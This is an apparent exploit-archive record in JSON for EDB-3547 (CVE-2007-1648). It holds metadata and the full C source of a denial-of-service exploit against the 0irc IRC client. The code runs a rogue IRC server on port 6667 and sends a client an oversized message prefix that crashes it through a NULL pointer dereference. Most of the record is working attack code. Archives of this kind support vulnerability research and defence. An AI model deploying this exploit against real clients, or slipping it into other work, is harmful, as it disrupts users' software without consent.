{"exploit":{"id":"EDB-3547","name":"0irc-client 1345 build20060823 - Denial of Service (DoS)","description":"0irc-client 1345 build20060823 - Denial of Service (DoS)","cves":["CVE-2007-1648"],"author":"DiGitalX","published":"2007-03-22","platform":"windows","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3547","path":"exploits/windows/dos/3547.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3547.c","vulnerabilities":[{"id":"CVE-2007-1648","state":"PUBLISHED","title":null,"titleSource":null,"description":"0irc 1345 build 20060823 allows remote attackers to cause a denial of service (application crash) by operating an IRC server that sends a long string to a client, which triggers a NULL pointer dereference.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1648","cvss":{"version":"2.0","baseScore":7.8,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1648"},"updatedAt":"2024-08-07T13:06:25.765Z","retrievedAt":"2026-11-26T23:06:49.984Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3547.png?v=2","url":"https://exploitbin.com/exploits/EDB-3547","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3547/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3547/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n\t0irc-client v1345 build 20060823 DoS Exploit By DiGitalX (DiGi7alX@Gmail.com)\n\tDate: 22/3/2007 -- MicroSystem Team -- Site: http://DiGitalX.I.am\n\tDescription: 0irc-client suffers from a NULL pointer derefrencing bug.\n*/\n\n#define WIN32_LEAN_AND_MEAN\n#include <winsock2.h>\n#include <windows.h>\n#include <stdlib.h>\n#include <stdio.h>\n\n#pragma comment(lib, \"wsock32.lib\")\n\n// `perl -e \"print 'a' x 623\";`\n#define As \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"\n\nint main()\n{\n\tstruct sockaddr_in sa, nsa;\n\tSOCKET s, ns;\n\tWSADATA wsa;\n\tint err, val;\n\tchar buffer[1000]; /* evil buffer holder */\n\n\tprintf(\"0irc-client v1345 build 20060823 DoS Exploit By DiGitalX\\n\");\n\tprintf(\"MicroSystem Team -- Date: 22/3/2007 -- http://DiGitalX.I.am\\n\");\n\tprintf(\"Contact: DiGi7alX@Gmail.com\\n\\n\");\n\n\tprintf(\"Initializing...\\n\");\n\n\t/* first open the ircd */\n\t//fire up winsock\n\tif ((err = WSAStartup(MAKEWORD(1, 1), &wsa)) != 0) {\n\t\t//if winsock is sick :P\n\t\tprintf(\"Error: Cannot initialize winsock (%d).\\n\", err);\n\t\treturn 1;\n\t}\n\t//create a socket\n\ts = socket(AF_INET, SOCK_STREAM, 0);\n\tif (s == INVALID_SOCKET) {\n\t\t//if socket cannot be created inform user\n\t\tprintf(\"Error: Cannot create socket (%d).\\n\", WSAGetLastError());\n\t\treturn 1;\n\t}\n\t//starting building the sockaddr_in struct\n\tmemset(&sa, 0, sizeof(sa));\n\tsa.sin_family = AF_INET;\n\tsa.sin_addr.S_un.S_addr = INADDR_ANY;\n\tsa.sin_port = htons(6667); /* default ircd port */\n\t//now bind the socket to the port\n\tif (bind(s, (const struct sockaddr *)&sa, sizeof(sa)) == SOCKET_ERROR) {\n\t\t//if bind error inform user\n\t\tprintf(\"Error: Cannot bind socket to port 6667 (%d).\\n\", WSAGetLastError());\n\t\treturn 1;\n\t}\n\t//do listen for incoming connections\n\tif (listen(s, SOMAXCONN) == SOCKET_ERROR) {\n\t\t//cannot listen tell user\n\t\tprintf(\"Error: Cannot listen for incoming connections (%d).\\n\", WSAGetLastError());\n\t\treturn 1;\n\t}\n\t//listen OK\n\t//set sockaddr_in structcure size\n\tval = sizeof(nsa);\n\t//now do accept clients\n\tprintf(\"Now connect using 0irc client.\\n\");\n\tif ((ns = accept(s, (struct sockaddr *)&nsa, &val)) == INVALID_SOCKET) {\n\t\t//if accept fails\n\t\tprintf(\"Error: Cannot accept incoming connection (%d).\\n\", WSAGetLastError());\n\t\treturn 1;\n\t}\n\t//accept OK .. inform user of new connection\n\tprintf(\"New Connection: %s\\n\", inet_ntoa(nsa.sin_addr));\n\t//now the real job begins :D\n\tsnprintf(buffer, sizeof(buffer)-1, \":aaa 001 DiGitalX\\r\\n\\0\");\n\tif ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {\n\t\t//oops!! error\n\t\tif (err == SOCKET_ERROR) printf(\"Error: Cannot send evil buffer (%d).\\n\", WSAGetLastError());\n\t\telse printf(\"Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\\n\", err, strlen(buffer));\n\t\treturn 1;\n\t}\n\tsnprintf(buffer, sizeof(buffer)-1, \":aaa 002 DiGitalX\\r\\n\\0\");\n\tif ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {\n\t\t//oops!! error\n\t\tif (err == SOCKET_ERROR) printf(\"Error: Cannot send evil buffer (%d).\\n\", WSAGetLastError());\n\t\telse printf(\"Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\\n\", err, strlen(buffer));\n\t\treturn 1;\n\t}\n\tsnprintf(buffer, sizeof(buffer)-1, \":aaa 003 DiGitalX\\r\\n\\0\");\n\tif ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {\n\t\t//oops!! error\n\t\tif (err == SOCKET_ERROR) printf(\"Error: Cannot send evil buffer (%d).\\n\", WSAGetLastError());\n\t\telse printf(\"Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\\n\", err, strlen(buffer));\n\t\treturn 1;\n\t}\n\tsnprintf(buffer, sizeof(buffer)-1, \":aaa 004 DiGitalX\\r\\n\\0\");\n\tif ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {\n\t\t//oops!! error\n\t\tif (err == SOCKET_ERROR) printf(\"Error: Cannot send evil buffer (%d).\\n\", WSAGetLastError());\n\t\telse printf(\"Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\\n\", err, strlen(buffer));\n\t\treturn 1;\n\t}\n\tsnprintf(buffer, sizeof(buffer)-1, \":aaa 005 DiGitalX\\r\\n\\0\");\n\tif ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {\n\t\t//oops!! error\n\t\tif (err == SOCKET_ERROR) printf(\"Error: Cannot send evil buffer (%d).\\n\", WSAGetLastError());\n\t\telse printf(\"Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\\n\", err, strlen(buffer));\n\t\treturn 1;\n\t}\n\tsnprintf(buffer, sizeof(buffer)-1, \":\"As\" 727 DiGitalX\\r\\n\\0\");\n\tif ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {\n\t\t//oops!! error\n\t\tif (err == SOCKET_ERROR) printf(\"Error: Cannot send evil buffer (%d).\\n\", WSAGetLastError());\n\t\telse printf(\"Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\\n\", err, strlen(buffer));\n\t\treturn 1;\n\t}\n\t//wait sometime\n\tSleep(1200);\n\t//cleanup\n\t//close sockets\n\tclosesocket(ns);\n\tclosesocket(s);\n\t//close winsock\n\tWSACleanup();\n\n\treturn 0; /* end of work :D */\n}\n\n// milw0rm.com [2007-03-22]","sha256":"397b65223e3498ed44412072170d8be1cbe72a5d5e8d3c5ed18fbe9071abdd1a","bytes":5261,"fetchedAt":"2026-11-26T23:06:48.268Z","encoding":"utf-8 (display only; download retains original bytes)"}